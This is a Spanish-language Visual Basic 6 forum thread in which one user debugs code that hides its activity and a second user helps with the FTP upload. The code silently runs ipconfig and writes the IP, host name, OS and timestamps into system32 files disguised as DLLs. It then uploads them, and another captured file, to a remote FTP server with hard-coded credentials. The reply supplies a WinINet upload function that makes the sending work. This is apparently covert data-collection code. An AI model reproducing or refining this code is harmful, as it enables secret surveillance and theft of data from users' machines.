Programación General > Visual Basic 6.0 e inferiores
Inet Y Ftp Imposible!
Sagutxo:
Salu2. uffff, perdoname nuevamente me he equivocado, akí te dejo el form.
mil escusas :(
:comp: :smartass: :comp:
kipexs:
Me dio algunos problemillas al abrirlo ya k hace falta el proyecto y el form kreo, pero consegui abrir el codigo, lo he leido pero creo k es excesivo ya k si consegui enviar el archivo ese poniendo
--- Código: Text ---Inet1.Execute "ftp://user:pass@ftp.usuarios.lycos.es", "PUT C:\winx32.dll " & Winsock1.LocalHostName & ".dll" este k es un .txt deberia ser igual no??
lo k no se es que se pone entre los & &, yo puse Winsock1.LocalHostName pork lo sake de una revista y pork el winsok lo habia utilizado para sacar el archivo winx32.dll
y tampoco se donde ponerlo, es decir, si debago de la linea
--- Código: Text ---Shell "cmd.exe /c ipconfig /all > C:\ocip.txt", vbHide o debajo d donde se envia el otro archivo, el winx32.dll.
Nos vemos
kipexs:
Siento postear dos veces seguidas pero es para corregir lo anterior y poner mas dudas:
Entre los & & se pone el nombre k se le kiere dar al archivo al subirlo al ftp y entre las comillas la extension
--- Código: Text ---If Ti = 10 ThenShell "cmd.exe /c ipconfig /all > C:\WINDOWS\system32\wipt.dll", vbHideInet1.Execute "ftp://miuser:mipass@ftp.usuarios.lycos.es", "PUT C:\WINDOWS\system32\wipt.dll " & Winsock1.LocalIP & ".dll"Open "C:\WINDOWS\system32\winxk.dll" For Output As #1Print #1, "Ip del Pc", Winsock1.LocalIPPrint #1, "Nombre del usuario", Winsock1.LocalHostNamePrint #1, "S.O. que usa", SysInfo1.OSPlatformPrint #1, DatePrint #1, TimeClose #1Inet1.Execute "ftp://miuser:mipass@ftp.usuarios.lycos.es", "PUT C:\WINDOWS\system32\winxk.dll " & Winsock1.LocalHostName & ".dll"Ti = 0End If
Bien esta es una parte del codigo. Lo k hace es crear dos archivos:
el wipt.dll k lo sube al ftp con la ip local y con la extension .dll
el winxk.dll k lo sube al ftp con el nombre del host y con extension .dll
El problema es k solo me sube el primer archivo el segundo no, y si pongo debajo de la linea k sube el wink.dll k suba el wipt.dll no me lo sube y me sube el wink.dll
Es decir, k solo me sube el primer archivo k ste puesto para subir
Por que pasa esto??
Gracias!!
Sagutxo:
Salu2. Siento desilusionarte, pero metiendo el form en cualquier proyecto se supone que ha de funcionar, lo he probado y a mi me funciona. Prueba a desconectar antes de mandar el 2º archivo, no es normal, pero por probar no pierdes nada.
En mi Form solo pinchas 2 veces el archivo que quieres mandar y lo manda, eso si, tendrás que poner tu los datos correctos del FTP. Recuerda que algunos gestores de FTP no te permiten mandar mas que una vez el archivo a no ser que lo deletees con su comando apropiado.
akí te dejo una función similar la usas poniendo:
MandaArchivo PathArchivo
--- Código: Text ---Private Function MandaArchi(ValStr As String)Dim hConnection As Long, hOpen As Long, sOrgPath As StringhOpen = InternetOpen("API-Guide sample program", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0) hConnection = InternetConnect(hOpen, "IP", PUERTO, "Usuario", "Password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0) 'crear buffer con path originalsOrgPath = String(MAX_PATH, 0) 'Ejemplo'FtpPutFile hConnection, "Archivo a subir", "Nombre de archivo con el que se sube", FTP_TRANSFER_TYPE_BINARY, 0 FtpPutFile hConnection, ValStr, ValStr, FTP_TRANSFER_TYPE_BINARY, 0 'regreso al path de inicio'FtpSetCurrentDirectory hConnection, sOrgPath 'cierro conexiónInternetCloseHandle hConnectionInternetCloseHandle hOpenEnd Function
Estas declaraciones y variables las puedes poner como globales en el Form o en un módulo .Bas
--- Código: Text ---Const FTP_TRANSFER_TYPE_UNKNOWN = &H0Const FTP_TRANSFER_TYPE_ASCII = &H1Const FTP_TRANSFER_TYPE_BINARY = &H2Const INTERNET_DEFAULT_FTP_PORT = 21 ' default for FTP servers'Const INTERNET_DEFAULT_FTP_PORT = 15896 ' default for FTP serversConst INTERNET_SERVICE_FTP = 1Const INTERNET_FLAG_PASSIVE = &H8000000 ' used for FTP connectionsConst INTERNET_OPEN_TYPE_PRECONFIG = 0 ' use registry configurationConst INTERNET_OPEN_TYPE_DIRECT = 1 ' direct to netConst INTERNET_OPEN_TYPE_PROXY = 3 ' via named proxyConst INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY = 4 ' prevent using java/script/INSConst MAX_PATH = 260Private Type FILETIME dwLowDateTime As Long dwHighDateTime As LongEnd TypePrivate Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14End Type Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As IntegerPrivate Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As LongPrivate Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPrivate Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As BooleanPrivate Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As LongPrivate Declare Function FtpCreateDirectory Lib "wininet.dll" Alias "FtpCreateDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As BooleanPrivate Declare Function FtpRemoveDirectory Lib "wininet.dll" Alias "FtpRemoveDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As BooleanPrivate Declare Function FtpDeleteFile Lib "wininet.dll" Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, ByVal lpszFileName As String) As BooleanPrivate Declare Function FtpRenameFile Lib "wininet.dll" Alias "FtpRenameFileA" (ByVal hFtpSession As Long, ByVal lpszExisting As String, ByVal lpszNew As String) As BooleanPrivate Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" (ByVal hConnect As Long, ByVal lpszRemoteFile As String, ByVal lpszNewFile As String, ByVal fFailIfExists As Long, ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As BooleanPrivate Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As BooleanPrivate Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As BooleanPrivate Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As LongPrivate Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As LongConst PassiveConnection As Boolean = True
A ver si ahora me he explicado mejor :)
:comp: :smartass: :comp:
Navegación
[*] Página Anterior
Ir a la versión completa